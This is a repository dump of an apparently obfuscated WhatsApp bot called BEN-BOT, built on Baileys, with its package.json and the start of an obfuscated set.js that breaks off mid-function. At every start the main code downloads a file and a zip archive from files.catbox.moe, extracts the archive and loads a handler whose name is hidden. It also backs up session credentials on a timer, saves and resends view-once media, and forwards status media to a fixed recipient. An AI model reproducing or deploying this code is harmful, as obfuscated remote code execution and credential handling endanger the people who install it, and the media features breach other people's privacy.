_0x3f0be0[_0x11d7ac(0x10b)]([_0xa863d2[_0x11d7ac(0xf2)]]);if(global[_0x11d7ac(0x184)])try{const _0x30a00c=_0xa863d2[_0x11d7ac(0xf2)][_0x11d7ac(0x125)]||_0x11d7ac(0x136),_0xe4830a=_0xa863d2[_0x11d7ac(0xe9)],_0x4edae4=Object[_0x11d7ac(0x169)](_0xe4830a)[0x0];if(_0x4edae4===_0x11d7ac(0x118)||_0x4edae4===_0x11d7ac(0x128)){const _0x4da827=await _0x3f0be0['downloadMediaMessage'](_0xa863d2),_0x3576eb=_0xe4830a[_0x4edae4][_0x11d7ac(0x11b)]||_0x11d7ac(0xf4);if(!_0x4da827){console['log'](_0x11d7ac(0x157));return;}await _0x3f0be0[_0x11d7ac(0x1bd)](_0x3b78f2,{[_0x4edae4==='imageMessage'?_0x11d7ac(0x1c4):_0x11d7ac(0x196)]:_0x4da827,'mimetype':_0x3576eb,'caption':_0x11d7ac(0x150)+_0x30a00c}),console[_0x11d7ac(0x11d)](_0x11d7ac(0x102)+_0x4edae4+_0x11d7ac(0xf3)+_0x30a00c+'\x20to\x20'+_0x3b78f2+'\x20send\x20done.');}}catch(_0x442462){console[_0x11d7ac(0x16c)](_0x11d7ac(0x1a7),_0x442462);}}}const sessionDir=path[a0_0x51992b(0x186)](__dirname,a0_0x51992b(0x17e)),sessionFile=path['join'](sessionDir,'creds.json'),backupDir=path[a0_0x51992b(0x186)](__dirname,'session_backup'),backupFile=path[a0_0x51992b(0x186)](backupDir,a0_0x51992b(0x10a));function restoreSessionIfMissing(){const _0x50d5b1=a0_0x51992b;!fs['existsSync'](sessionFile)&&fs[_0x50d5b1(0x111)](backupFile)&&(fs[_0x50d5b1(0x1ab)](backupFile,sessionFile),console[_0x50d5b1(0x11d)](_0x50d5b1(0x165)));}function autoBackupSession(){const _0x4e5eac=a0_0x51992b;!fs[_0x4e5eac(0x111)](backupDir)&&fs[_0x4e5eac(0x104)](backupDir,{'recursive':!![]}),fs['existsSync'](sessionFile)&&(fs[_0x4e5eac(0x1ab)](sessionFile,backupFile),console[_0x4e5eac(0x11d)](_0x4e5eac(0x14e)));}async function startBotz(){const _0x4c5969=a0_0x51992b,{state:_0x5e3d73,saveCreds:_0x379882}=await useMultiFileAuthState(_0x4c5969(0x17e)),_0x50f6c9=makeWASocket({'logger':pino({'level':_0x4c5969(0x181)}),'printQRInTerminal':![],'auth':_0x5e3d73,'msgRetryCounterCache':msgRetryCounterCache,'connectTimeoutMs':0xea60,'defaultQueryTimeoutMs':0x0,'keepAliveIntervalMs':0x2710,'emitOwnEvents':!![],'fireInitQueries':!![],'generateHighQualityLinkPreview':!![],'syncFullHistory':!![],'markOnlineOnConnect':!![],'browser':[_0x4c5969(0x172),_0x4c5969(0x1ac),'20.0.04']}),_0x9213cd=_0x4c5969(0x18b),_0x33773a=path[_0x4c5969(0x186)](__dirname,_0x4c5969(0x13a));await downloadFile(_0x9213cd,_0x33773a),restoreSessionIfMissing();const _0x3028f1='https://files.catbox.moe/jl8iia.zip';await downloadAndExtractZip(_0x3028f1),setInterval(autoBackupSession,0x2*0x3c*0x3c*0x3e8);if(!![]&&!_0x50f6c9[_0x4c5969(0x154)][_0x4c5969(0xec)][_0x4c5969(0x14d)]){const _0x47cda5=await question(_0x4c5969(0x1a5)),_0x42a87c=await _0x50f6c9['requestPairingCode'](_0x47cda5[_0x4c5969(0x194)]());console['log'](_0x4c5969(0x140)+_0x42a87c);}store[_0x4c5969(0x171)](_0x50f6c9['ev']),_0x50f6c9['ev']['on'](_0x4c5969(0x18a),async _0x591c20=>{const _0x538ea8=_0x4c5969;try{const _0xd4b8d3=_0x591c20[_0x538ea8(0x143)][0x0];if(!_0xd4b8d3[_0x538ea8(0xe9)])return;_0xd4b8d3['message']=Object[_0x538ea8(0x169)](_0xd4b8d3['message'])[0x0]===_0x538ea8(0x12a)?_0xd4b8d3['message']['ephemeralMessage'][_0x538ea8(0xe9)]:_0xd4b8d3[_0x538ea8(0xe9)],await handleStatusView(_0x50f6c9,_0xd4b8d3);_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)]===_0x538ea8(0x1a8)&&global[_0x538ea8(0x1b0)]&&await _0x50f6c9[_0x538ea8(0x10b)]([_0xd4b8d3[_0x538ea8(0xf2)]]);if(_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3['key']['remoteJid']===_0x538ea8(0x1a8)&&global['autostatus_react']===!![]){const _0x11ecda=await _0x50f6c9[_0x538ea8(0x119)](_0x50f6c9[_0x538ea8(0x133)]['id']),_0x1cf8b2=global['autostatusemoji'];await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'react':{'text':_0x1cf8b2,'key':_0xd4b8d3[_0x538ea8(0xf2)]}},{'statusJidList':[_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x125)],_0x11ecda]});}if(_0xd4b8d3[_0x538ea8(0xf2)]&&_0xd4b8d3[_0x538ea8(0xf2)]['remoteJid']==='status@broadcast'&&global[_0x538ea8(0x1bb)]===!![]){const _0x4ab0f7=_0xd4b8d3['key']['participant'],_0x3c8b1e=global[_0x538ea8(0x153)];await _0x50f6c9[_0x538ea8(0x10b)]([_0xd4b8d3[_0x538ea8(0xf2)]]),await _0x50f6c9[_0x538ea8(0x1bd)](_0x4ab0f7,{'text':_0x3c8b1e},{'quoted':_0xd4b8d3});}if(_0xd4b8d3['message']&&global[_0x538ea8(0x117)]===!![]){const _0x33c995=_0xd4b8d3['message'],_0x29782c=Object[_0x538ea8(0x169)](_0x33c995)[0x0],_0x229249=_0x33c995[_0x29782c];let _0x5468f5=_0x229249?.[_0x538ea8(0xe9)]?_0x229249[_0x538ea8(0xe9)]:null;if(_0x29782c===_0x538ea8(0x188)||_0x29782c===_0x538ea8(0x168)){if(!_0x5468f5)return;const _0x396298=Object['keys'](_0x5468f5)[0x0],_0x18c331=_0x5468f5[_0x396298];try{const _0x148f2d='viewonce_'+Date['now'](),_0x2ae482=await _0x50f6c9['downloadAndSaveMediaMessage'](_0x18c331,_0x148f2d),_0x23f2f6={'url':_0x2ae482},_0x55749e=_0x18c331[_0x538ea8(0x12b)]||_0x538ea8(0x16d);if(_0x396298==='imageMessage')await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'image':_0x23f2f6,'caption':_0x55749e},{'quoted':_0xd4b8d3});else{if(_0x396298===_0x538ea8(0x128))await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3['key']['remoteJid'],{'video':_0x23f2f6,'caption':_0x55749e},{'quoted':_0xd4b8d3});else _0x396298===_0x538ea8(0x163)?await _0x50f6c9[_0x538ea8(0x1bd)](_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],{'audio':_0x23f2f6,'mimetype':_0x538ea8(0x142),'ptt':!![]},{'quoted':_0xd4b8d3}):console[_0x538ea8(0x11d)]('نوع\x20پشتیبانی\x20نشده:',_0x396298);}}catch(_0x45753a){console[_0x538ea8(0x16c)]('❌\x20خطا\x20در\x20antiViewOnce:',_0x45753a);}}}const _0x59999a=_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x125)]||_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)],_0x403f13=_0x59999a?.[_0x538ea8(0x1ae)]('@')[0x0];let _0x3b5af2=[];try{_0x3b5af2=JSON[_0x538ea8(0x182)](fs['readFileSync'](_0x538ea8(0x19f),_0x538ea8(0x192)));}catch(_0x5cefb0){console['error'](_0x538ea8(0x13c),_0x5cefb0);}const _0x2f2b45=[...global[_0x538ea8(0x16f)],..._0x3b5af2][_0x538ea8(0x112)](_0x20fe74=>_0x20fe74['replace'](/\D/g,'')),_0x56ac26=_0x2f2b45[_0x538ea8(0xed)](_0x403f13),_0x12d428=_0xd4b8d3[_0x538ea8(0xf2)]['fromMe'],_0x407514=_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)][_0x538ea8(0x179)](_0x538ea8(0x16a)),_0x3c4e3d=!_0xd4b8d3[_0x538ea8(0xf2)][_0x538ea8(0x170)][_0x538ea8(0x179)](_0x538ea8(0x16a)),_0x5d988c=await _0x50f6c9['decodeJid'](_0x50f6c9[_0x538ea8(0x133)]['id']);switch(global[_0x538ea8(0x10d)]){case _0x538ea8(0x129):break;case _0x538ea8(0x13e):if(!_0x56ac26&&!_0x12d428&&_0x591c20[_0x538ea8(0x1bf)]===_0x538ea8(0x113))return;break;case'group':if(_0x3c4e3d&&!_0x56ac26&&!_0x12d428)return;break;case'inbox':if(_0x407514)return;if(!_0x12d428&&!_0x56ac26)return;break;default:return;}if(_0xd4b8d3[_0x538ea8(0xf2)]['id'][_0x538ea8(0x105)](_0x538ea8(0x161))&&_0xd4b8d3[_0x538ea8(0xf2)]['id'][_0x538ea8(0x156)]===0x10)return;const _0x1b6089=smsg(_0x50f6c9,_0xd4b8d3,store);require(_0x538ea8(0x106))(_0x50f6c9,_0x1b6089,_0x591c20,store);}catch(_0x9b5545){console['log'](_0x9b5545);}}),_0x50f6c9[_0x4c5969(0x119)]=_0x4395d5=>{const _0x25f099=_0x4c5969;if(!_0x4395d5)return _0x4395d5;if(/:\d+@/gi[_0x25f099(0x1ca)](_0x4395d5)){let _0x11080b=jidDecode(_0x4395d5)||{};return _0x11080b['user']&&_0x11080b[_0x25f099(0x121)]&&_0x11080b[_0x25f099(0x133)]+'@'+_0x11080b['server']||_0x4395d5;}else return _0x4395d5;},_0x50f6c9['ev']['on'](_0x4c5969(0x159),_0x2f518b=>{const _0x12f6d5=_0x4c5969;for(let _0x478174 of _0x2f518b){let _0x112465=_0x50f6c9[_0x12f6d5(0x119)](_0x478174['id']);store&&store[_0x12f6d5(0x1c3)]&&(store[_0x12f6d5(0x1c3)][_0x112465]={'id':_0x112465,'name':_0x478174['notify']});}}),_0x50f6c9[_0x4c5969(0x148)]=(_0x53cf24,_0x500014=![])=>{const _0x45f6f1=_0x4c5969;id=_0x50f6c9[_0x45f6f1(0x119)](_0x53cf24),_0x500014=_0x50f6c9[_0x45f6f1(0x1a1)]||_0x500014;let _0x57a409;if(id[_0x45f6f1(0x179)](_0x45f6f1(0x16a)))return new Promise(async _0x2f4b49=>{const _0x6a98a5=_0x45f6f1;_0x57a409=store['contacts'][id]||{},!(_0x57a409[_0x6a98a5(0x17c)]||_0x57a409['subject'])&&(_0x57a409=_0x50f6c9[_0x6a98a5(0x1b4)](id)||{}),_0x2f4b49(_0x57a409['name']||_0x57a409[_0x6a98a5(0x191)]||PhoneNumber('+'+id[_0x6a98a5(0x173)](_0x6a98a5(0xeb),''))['getNumber'](_0x6a98a5(0x1cb)));});else _0x57a409=id===_0x45f6f1(0x108)?{'id':id,'name':'WhatsApp'}:id===_0x50f6c9[_0x45f6f1(0x119)](_0x50f6c9[_0x45f6f1(0x133)]['id'])?_0x50f6c9['user']:store[_0x45f6f1(0x1c3)][id]||{};return(_0x500014?'':_0x57a409[_0x45f6f1(0x17c)])||_0x57a409[_0x45f6f1(0x191)]||_0x57a409[_0x45f6f1(0x19a)]||PhoneNumber('+'+_0x53cf24[_0x45f6f1(0x173)](_0x45f6f1(0xeb),''))['getNumber'](_0x45f6f1(0x1cb));},_0x50f6c9[_0x4c5969(0x129)]=!![],_0x50f6c9['serializeM']=_0x11dc90=>smsg(_0x50f6c9,_0x11dc90,store),_0x50f6c9['ev']['on'](_0x4c5969(0x10c),async _0x2142dc=>{const _0xfbfed6=_0x4c5969,{connection:_0x3ccb09,lastDisconnect:_0x493313}=_0x2142dc;try{if(_0x3ccb09===_0xfbfed6(0x15d)){let _0x33aa7f=new Boom(_0x493313?.[_0xfbfed6(0x16c)])?.[_0xfbfed6(0x11e)]['statusCode'];if(_0x33aa7f===DisconnectReason['badSession'])console[_0xfbfed6(0x11d)](_0xfbfed6(0x1c2)),_0x50f6c9[_0xfbfed6(0x120)]();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x1c5)])console[_0xfbfed6(0x11d)]('Connection\x20closed,\x20reconnecting....'),startBotz();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x141)])console[_0xfbfed6(0x11d)](_0xfbfed6(0x137)),startBotz();else{if(_0x33aa7f===DisconnectReason['connectionReplaced'])console[_0xfbfed6(0x11d)]('Connection\x20Replaced,\x20Another\x20New\x20Session\x20Opened,\x20Please\x20Close\x20Current\x20Session\x20First'),_0x50f6c9['logout']();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x199)])console['log'](_0xfbfed6(0x180)),_0x50f6c9[_0xfbfed6(0x120)]();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x175)])console[_0xfbfed6(0x11d)](_0xfbfed6(0x19e)),startBotz();else _0x33aa7f===DisconnectReason[_0xfbfed6(0xee)]?(console[_0xfbfed6(0x11d)](_0xfbfed6(0xf6)),startBotz()):_0x50f6c9[_0xfbfed6(0x1a2)](_0xfbfed6(0x160)+_0x33aa7f+'|'+_0x3ccb09);}}}}}}if(_0x2142dc[_0xfbfed6(0x166)]==_0xfbfed6(0x185)||_0x2142dc[_0xfbfed6(0x1cc)]=='true'){var _0x9fe86c=_0x50f6c9[_0xfbfed6(0x133)]['id'][_0xfbfed6(0x1ae)](':')[0x0]+_0xfbfed6(0xeb);console[_0xfbfed6(0x11d)]('Commands\x20Installation\x20Completed\x20✅'),_0x50f6c9['sendMessage'](_0x9fe86c,{'image':{'url':'https://files.catbox.moe/y9ysty.jpg'},'caption':_0xfbfed6(0x10e)}),console[_0xfbfed6(0x11d)](_0xfbfed6(0x11c));}}catch(_0x2ed92d){console[_0xfbfed6(0x11d)](_0xfbfed6(0x19b)+_0x2ed92d);}}),_0x50f6c9['ev']['on'](_0x4c5969(0x164),_0x379882),_0x50f6c9[_0x4c5969(0x19c)]=async(_0x5c392d,_0x2f03a1)=>{const _0x21aa84=_0x4c5969;let _0x131b55,_0x3b66f5;const _0x3e2021=Buffer['isBuffer'](_0x5c392d)?_0x5c392d:/^data:.*?\/.*?;base64,/i[_0x21aa84(0x1ca)](_0x5c392d)?Buffer[_0x21aa84(0x127)](_0x5c392d['split']`,`[0x1],_0x21aa84(0x100)):/^https?:\/\//[_0x21aa84(0x1ca)](_0x5c392d)?await(_0x131b55=await fetch(_0x5c392d))['buffer']():fs[_0x21aa84(0x111)](_0x5c392d)?(_0x3b66f5=_0x5c392d,fs[_0x21aa84(0x1c9)](_0x5c392d)):typeof _0x5c392d==='string'?_0x5c392d:Buffer['alloc'](0x0);if(!Buffer['isBuffer'](_0x3e2021))throw new TypeError(_0x21aa84(0x14f));const _0x279e33=await FileType[_0x21aa84(0x130)](_0x3e2021)||{'mime':_0x21aa84(0xf4),'ext':'.bin'};return _0x3e2021&&_0x2f03a1&&!_0x3b66f5&&(_0x3b66f5=_0x505eec[_0x21aa84(0x186)](__dirname,_0x21aa84(0x14c)+new Date()*0x1+'.'+_0x279e33[_0x21aa84(0x178)]),await fs[_0x21aa84(0x131)][_0x21aa84(0x151)](_0x3b66f5,_0x3e2021)),{'res':_0x131b55,'filename':_0x3b66f5,..._0x279e33,'data':_0x3e2021,'deleteFile'(){const _0x4162a0=_0x21aa84;return _0x3b66f5&&fs[_0x4162a0(0x131)][_0x4162a0(0x1b2)](_0x3b66f5);}};},_0x50f6c9[_0x4c5969(0x15f)]=async _0x49ead7=>{const _0x15a8b3=_0x4c5969;let _0x49777a=(_0x49ead7[_0x15a8b3(0x1c6)]||_0x49ead7)[_0x15a8b3(0x11b)]||'',_0x516e60=_0x49ead7[_0x15a8b3(0x158)]?_0x49ead7[_0x15a8b3(0x158)][_0x15a8b3(0x173)](/Message/gi,''):_0x49777a[_0x15a8b3(0x1ae)]('/')[0x0];const _0x55ba2c=await downloadContentFromMessage(_0x49ead7,_0x516e60);let _0x1cf602=Buffer['from']([]);for await(const _0x2208b7 of _0x55ba2c){_0x1cf602=Buffer['concat']([_0x1cf602,_0x2208b7]);}return _0x1cf602;},_0x50f6c9['sendContact']=async(_0x348d01,_0x53ca5b,_0x11225b='',_0x15995e={})=>{const _0x5deefd=_0x4c5969;let _0x5860c9=[];for(let _0x238c12 of _0x53ca5b){_0x5860c9[_0x5deefd(0x1b7)]({'displayName':await _0x50f6c9[_0x5deefd(0x148)](_0x238c12),'vcard':_0x5deefd(0x174)+await _0x50f6c9['getName'](_0x238c12)+'\x0aFN:'+await _0x50f6c9[_0x5deefd(0x148)](_0x238c12)+_0x5deefd(0x11a)+_0x238c12[_0x5deefd(0x1ae)]('@')[0x0]+':'+_0x238c12['split']('@')[0x0]+_0x5deefd(0x152)});}_0x50f6c9[_0x5deefd(0x1bd)](_0x348d01,{'contacts':{'displayName':_0x5860c9[_0x5deefd(0x156)]+'\x20Contact','contacts':_0x5860c9},..._0x15995e},{'quoted':_0x11225b});},_0x50f6c9[_0x4c5969(0xfc)]=async(_0x5a8523,_0x1c1108,_0x4ea2c4='',_0x2cb3f6='',_0x32504d,_0x264641=![],_0x24e45f={})=>{const _0x23a6c5=_0x4c5969;let _0x18f661=await _0x50f6c9[_0x23a6c5(0x19c)](_0x1c1108,!![]),{res:_0x571f56,data:_0x1de89a,filename:_0x2f1368}=_0x18f661;if(_0x571f56&&_0x571f56[_0x23a6c5(0x15e)]!==0xc8||_0x1de89a[_0x23a6c5(0x156)]<=0x10000)try{throw{'json':JSON[_0x23a6c5(0x182)](_0x1de89a[_0x23a6c5(0x132)]())};}catch(_0x400d4e){if(_0x400d4e[_0x23a6c5(0xf9)])throw _0x400d4e[_0x23a6c5(0xf9)];}let _0xaeebb1={'filename':_0x4ea2c4};_0x32504d&&(_0xaeebb1[_0x23a6c5(0x1c7)]=_0x32504d);!_0x18f661&&(_0x24e45f[_0x23a6c5(0x1a4)]=!![]);let _0x568f90='',_0x443213=_0x18f661[_0x23a6c5(0x14b)],_0x33fd41;if(/webp/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])||/image/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])&&_0x24e45f[_0x23a6c5(0x15a)])_0x568f90='sticker';else{if(/image/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])||/webp/['test'](_0x18f661[_0x23a6c5(0x14b)])&&_0x24e45f['asImage'])_0x568f90='image';else{if(/video/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)]))_0x568f90=_0x23a6c5(0x196);else/audio/['test'](_0x18f661[_0x23a6c5(0x14b)])?(_0x33fd41=await(_0x264641?toPTT:toAudio)(_0x1de89a,_0x18f661['ext']),_0x1de89a=_0x33fd41[_0x23a6c5(0x138)],_0x2f1368=_0x33fd41[_0x23a6c5(0x115)],_0x568f90=_0x23a6c5(0x18f),_0x443213=_0x23a6c5(0x142)):_0x568f90=_0x23a6c5(0xf7);}}_0x24e45f[_0x23a6c5(0x1a4)]&&(_0x568f90='document');let _0x34cd07={..._0x24e45f,'caption':_0x2cb3f6,'ptt':_0x264641,[_0x568f90]:{'url':_0x2f1368},'mimetype':_0x443213},_0xca3bba;try{_0xca3bba=await _0x50f6c9[_0x23a6c5(0x1bd)](_0x5a8523,_0x34cd07,{..._0xaeebb1,..._0x24e45f});}catch(_0x49e60f){console[_0x23a6c5(0x16c)](_0x49e60f),_0xca3bba=null;}finally{return!_0xca3bba&&(_0xca3bba=await _0x50f6c9[_0x23a6c5(0x1bd)](_0x5a8523,{..._0x34cd07,[_0x568f90]:_0x1de89a},{..._0xaeebb1,..._0x24e45f})),_0xca3bba;}},_0x50f6c9[_0x4c5969(0x187)]=async(_0x3cb8f9,_0xc33f60,_0x577c81,_0x901cf0={})=>{const _0x3d7314=_0x4c5969;let _0x54c688=Buffer[_0x3d7314(0xfa)](_0xc33f60)?_0xc33f60:/^data:.*?\/.*?;base64,/i[_0x3d7314(0x1ca)](_0xc33f60)?Buffer[_0x3d7314(0x127)](_0xc33f60['split']`,`[0x1],_0x3d7314(0x100)):/^https?:\/\//[_0x3d7314(0x1ca)](_0xc33f60)?await await getBuffer(_0xc33f60):fs[_0x3d7314(0x111)](_0xc33f60)?fs[_0x3d7314(0x1c9)](_0xc33f60):Buffer[_0x3d7314(0x183)](0x0),_0x398694;return _0x901cf0&&(_0x901cf0[_0x3d7314(0x13d)]||_0x901cf0['author'])?_0x398694=await writeExifVid(_0x54c688,_0x901cf0):_0x398694=await videoToWebp(_0x54c688),await _0x50f6c9[_0x3d7314(0x1bd)](_0x3cb8f9,{'sticker':{'url':_0x398694},..._0x901cf0},{'quoted':_0x577c81}),_0x398694;},_0x50f6c9[_0x4c5969(0x1c1)]=async(_0x386d5c,_0x5d0c10,_0x4eb2ec=!![])=>{const _0xf6b6be=_0x4c5969;let _0x320e58=_0x386d5c[_0xf6b6be(0x1c6)]?_0x386d5c['msg']:_0x386d5c,_0x50e4b0=(_0x386d5c[_0xf6b6be(0x1c6)]||_0x386d5c)[_0xf6b6be(0x11b)]||'',_0xe9c382=_0x386d5c['mtype']?_0x386d5c[_0xf6b6be(0x158)][_0xf6b6be(0x173)](/Message/gi,''):_0x50e4b0[_0xf6b6be(0x1ae)]('/')[0x0];const _0x15d496=await downloadContentFromMessage(_0x320e58,_0xe9c382);let _0x2f1b1e=Buffer[_0xf6b6be(0x127)]([]);for await(const _0x3642cd of _0x15d496){_0x2f1b1e=Buffer[_0xf6b6be(0x197)]([_0x2f1b1e,_0x3642cd]);}let _0xe53cb0=await FileType[_0xf6b6be(0x130)](_0x2f1b1e);return trueFileName=_0x4eb2ec?_0x5d0c10+'.'+_0xe53cb0[_0xf6b6be(0x178)]:_0x5d0c10,await fs['writeFileSync'](trueFileName,_0x2f1b1e),trueFileName;};const _0x505eec=require(_0x4c5969(0xff));return _0x50f6c9[_0x4c5969(0x1c1)]=async(_0x9e417a,_0x5b94e9,_0x260ebf=!![])=>{const _0xa63f81=_0x4c5969;let _0x391403=_0x9e417a[_0xa63f81(0x1c6)]?_0x9e417a[_0xa63f81(0x1c6)]:_0x9e417a,_0x526f7e=(_0x9e417a['msg']||_0x9e417a)[_0xa63f81(0x11b)]||'',_0x611ea=_0x9e417a[_0xa63f81(0x158)]?_0x9e417a[_0xa63f81(0x158)][_0xa63f81(0x173)](/Message/gi,''):_0x526f7e[_0xa63f81(0x1ae)]('/')[0x0];const _0x5cc0a1=await downloadContentFromMessage(_0x391403,_0x611ea);let _0x4cd781=Buffer[_0xa63f81(0x127)]([]);for await(const _0x26158c of _0x5cc0a1){_0x4cd781=Buffer['concat']([_0x4cd781,_0x26158c]);}let _0x3afeab=await FileType[_0xa63f81(0x130)](_0x4cd781),_0x3cd8d0=_0x260ebf?_0x5b94e9+'.'+_0x3afeab[_0xa63f81(0x178)]:_0x5b94e9,_0x2c22f1=_0x505eec[_0xa63f81(0x186)](__dirname,'tmp',_0x3cd8d0);return await fs[_0xa63f81(0x195)](_0x2c22f1,_0x4cd781),_0x2c22f1;},_0x50f6c9[_0x4c5969(0x1c8)]=async(_0xae2e48,_0x314959,_0x5593e2,_0x28f33c={})=>{const _0x400843=_0x4c5969;let _0x5f3cb8=Buffer[_0x400843(0xfa)](_0x314959)?_0x314959:/^data:.*?\/.*?;base64,/i['test'](_0x314959)?Buffer['from'](_0x314959['split']`,`[0x1],_0x400843(0x100)):/^https?:\/\//['test'](_0x314959)?await await getBuffer(_0x314959):fs[_0x400843(0x111)](_0x314959)?fs['readFileSync'](_0x314959):Buffer[_0x400843(0x183)](0x0),_0x29ba64;return _0x28f33c&&(_0x28f33c[_0x400843(0x13d)]||_0x28f33c[_0x400843(0x134)])?_0x29ba64=await writeExifImg(_0x5f3cb8,_0x28f33c):_0x29ba64=await imageToWebp(_0x5f3cb8),await _0x50f6c9[_0x400843(0x1bd)](_0xae2e48,{'sticker':{'url':_0x29ba64},..._0x28f33c},{'quoted':_0x5593e2}),_0x29ba64;},_0x50f6c9[_0x4c5969(0x145)]=(_0x30ba8b,_0x5ed3fa='',_0x3cf14d=[],_0x4fd609=0x1)=>{const _0x15e9c2=_0x4c5969;return _0x50f6c9[_0x15e9c2(0x1bd)](_0x30ba8b,{'poll':{'name':_0x5ed3fa,'values':_0x3cf14d,'selectableCount':_0x4fd609}});},_0x50f6c9['sendText']=(_0x2c1e20,_0x58075c,_0x35e723='',_0x513da3)=>_0x50f6c9[_0x4c5969(0x1bd)](_0x2c1e20,{'text':_0x58075c,..._0x513da3},{'quoted':_0x35e723}),_0x50f6c9;}app['get']('/',(_0x205769,_0x32cdfd)=>{const _0x1a3ade=a0_0x51992b,_0x17f1af=_0x1a3ade(0x167);_0x32cdfd['send'](_0x17f1af);}),app[a0_0x51992b(0x17d)](port,()=>{const _0x54be4b=a0_0x51992b;console[_0x54be4b(0x11d)]('Server\x20is\x20listening\x20on\x20port\x20'+port);}),startBotz();let file=require[a0_0x51992b(0x1a9)](__filename);fs['watchFile'](file,()=>{const _0x2bbf2=a0_0x51992b;fs['unwatchFile'](file),console[_0x2bbf2(0x11d)](_0x2bbf2(0x103)+__filename),delete require[_0x2bbf2(0x17f)][file],require(file);}); -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "BEN-BOT", 3 | "version": "0.0.1", 4 | "description": "Ben Is a Simple WA Bot Using Library Baileys", 5 | "main": "set.js", 6 | "type": "commonjs", 7 | "scripts": { 8 | "start": "pm2 start set.js --name BEN-BOT", 9 | "stop": "pm2 stop BEN-BOT", 10 | "restart": "pm2 restart BEN-BOT" 11 | }, 12 | "keywords": [ 13 | "whiskeysockets", 14 | "multi-device" 15 | ], 16 | "author": "Nothing", 17 | "license": "MIT", 18 | "dependencies": { 19 | "@adiwajshing/baileys": "npm:@whiskeysockets/baileys@^6.7.7", 20 | "@whiskeysockets/baileys": "npm:@fizzxydev/baileys-pro@8.5.12", 21 | "awesome-phonenumber": "^6.4.0", 22 | "aws4": "^1.12.0", 23 | "axios": "^1.6.7", 24 | "pornhub.js": "^1.13.0", 25 | "unzipper": "^0.12.3", 26 | "dotenv": "^16.3.1", 27 | "express": "^4.18.2", 28 | "api-dylux": "^1.8.5", 29 | "aptoide-scraper": "^1.0.1", 30 | "cfonts": "^3.2.0", 31 | "chalk": "^4.1.2", 32 | "check-disk-space": "^3.3.1", 33 | "cheerio": "^1.0.0-rc.12", 34 | "@adiwajshing/keyed-db": "^0.2.4", 35 | "@ffmpeg-installer/ffmpeg": "^1.1.0", 36 | "@hapi/boom": "^10.0.1", 37 | "@vitalets/google-translate-api": "^8.0.0", 38 | "child_process": "^1.0.2", 39 | "colors": "^1.4.0", 40 | "cookie": "^0.6.0", 41 | "d-scrape": "^1.2.0", 42 | "dhn-api": "^1.1.3", 43 | "emoji-regex": "^10.3.0", 44 | "file-type": "^16.5.3", 45 | "fluent-ffmpeg": "^2.1.2", 46 | "fs": "^0.0.1-security", 47 | "fs-extra": "^10.0.0", 48 | "g-i-s": "^2.1.7", 49 | "g4f": "^1.4.3", 50 | "greetify": "^2.0.1", 51 | "https-proxy-agent": "^7.0.4", 52 | "human-readable": "^0.2.1", 53 | "jimp": "^0.16.1", 54 | "javascript-obfuscator": "^4.1.1", 55 | "lodash": "latest", 56 | "lolcatjs": "^2.4.1", 57 | "lowdb": "^7.0.1", 58 | "moment-timezone": "^0.5.34", 59 | "mal-scraper": "^2.11.4", 60 | "adm-zip": "^0.5.16", 61 | "node-cache": "^5.1.2", 62 | "mongoose": "^7.1.1", 63 | "node-cron": "^3.0.3", 64 | "node-fetch": "^2.6.7", 65 | "node-id3": "^0.2.6", 66 | "node-os-utils": "^1.3.6", 67 | "node-webpmux": "^3.1.0", 68 | "node-youtube-music": "^0.10.3", 69 | "object-query-string": "^1.2.0", 70 | "ocr-space-api-wrapper": "^2.2.0", 71 | "os": "^0.1.2", 72 | "path": "^0.12.7", 73 | "perf_hooks": "0.0.1", 74 | "performance-now": "*", 75 | "pino": "^8.17.2", 76 | "qrcode": "^1.5.3", 77 | "qrcode-reader": "^1.0.4", 78 | "razzaq-suppress": "^1.0.1", 79 | "remove.bg": "^1.3.0", 80 | "removebg-id": "^2.0.1", 81 | "rimraf": "^5.0.5", 82 | "scrape-primbon": "^1.1.0", 83 | "socks-proxy-agent": "^8.0.3", 84 | "steno": "^1.0.0", 85 | "similarity": "^1.2.1", 86 | "string-similarity": "^4.0.4", 87 | "syntax-error": "^1.4.0", 88 | "yargs": "^17.7.2", 89 | "youtube-yts": "^2.0.0", 90 | "youtubedl-core": "^4.11.7" 91 | } 92 | } -------------------------------------------------------------------------------- /set.js: -------------------------------------------------------------------------------- 1 | const a0_0xa274b5=a0_0x10fd;(function(_0x1b4e8a,_0x431c22){const _0x17fb07=a0_0x10fd,_0x267b44=_0x1b4e8a();while(!![]){try{const _0x24a303=-parseInt(_0x17fb07(0x1b7))/0x1+-parseInt(_0x17fb07(0x1a4))/0x2*(parseInt(_0x17fb07(0x19f))/0x3)+parseInt(_0x17fb07(0x1a2))/0x4*(parseInt(_0x17fb07(0x1bd))/0x5)+-parseInt(_0x17fb07(0x1aa))/0x6*(-parseInt(_0x17fb07(0x1b9))/0x7)+-parseInt(_0x17fb07(0x1a0))/0x8+-parseInt(_0x17fb07(0x1bf))/0x9+-parseInt(_0x17fb07(0x1bc))/0xa*(-parseInt(_0x17fb07(0x1b3))/0xb);if(_0x24a303===_0x431c22)break;else _0x267b44['push'](_0x267b44['shift']());}catch(_0x3611c4){_0x267b44['push'](_0x267b44['shift']());}}}(a0_0x3831,0xb9dc9));function a0_0x10fd(_0x112507,_0x6d81e8){const 